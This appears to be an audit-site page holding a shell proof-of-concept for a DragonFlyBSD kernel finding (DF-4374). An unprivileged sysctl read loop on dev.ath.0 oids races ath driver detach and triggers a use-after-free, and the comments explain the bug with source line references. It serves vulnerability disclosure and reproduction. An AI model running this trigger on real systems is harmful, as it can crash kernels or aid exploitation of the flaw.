⬢ DragonFlyBSD Kernel Audit
DF-4374 / trigger_df4374.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-4374: unprivileged sysctl read vs ath driver detach lifetime race.
#
# sys/dev/netif/ath/ath/if_ath_sysctl.c read handlers call into the HAL with
# no lock and no detach synchronization; ath_detach() frees sc_ah
# (if_ath.c:1436) long before device_sysctl_fini() (subr_bus.c:2151) removes
# the dev.ath.N.* oids. A concurrent reader of e.g. dev.ath.0.txantenna
# (HAL read outside ATH_LOCK at if_ath_sysctl.c:260) dereferences freed
# memory / reads unmapped MMIO while the driver detaches (kldunload if_ath,
# CardBus/PCI hot-remove).
#
# Trigger (needs real ath(4) hardware): run this reader loop as an
# UNPRIVILEGED user while root executes `kldunload if_ath` (or physically
# removes the card).
echo "[DF-4374] probing for ath(4) sysctl tree (unprivileged)..."
if sysctl -n dev.ath.0.slottime >/dev/null 2>&1; then
	echo "[DF-4374] dev.ath.0 present; starting reader storm (10 x 5000 reads)."
	echo "[DF-4374] NOW (as root, in another terminal): kldunload if_ath"
	i=0
	while [ $i -lt 10 ]; do
		j=0
		while [ $j -lt 5000 ]; do
			sysctl -n dev.ath.0.slottime >/dev/null 2>&1
			sysctl -n dev.ath.0.txantenna >/dev/null 2>&1
			j=$((j+1))
		done
		i=$((i+1))
	done
	echo "[DF-4374] reader storm finished (no detach raced)."
else
	echo "[DF-4374] dev.ath.* absent: no Atheros device on this machine."
	echo "[DF-4374] Cannot reproduce without ath(4) hardware (expected on QEMU)."
fi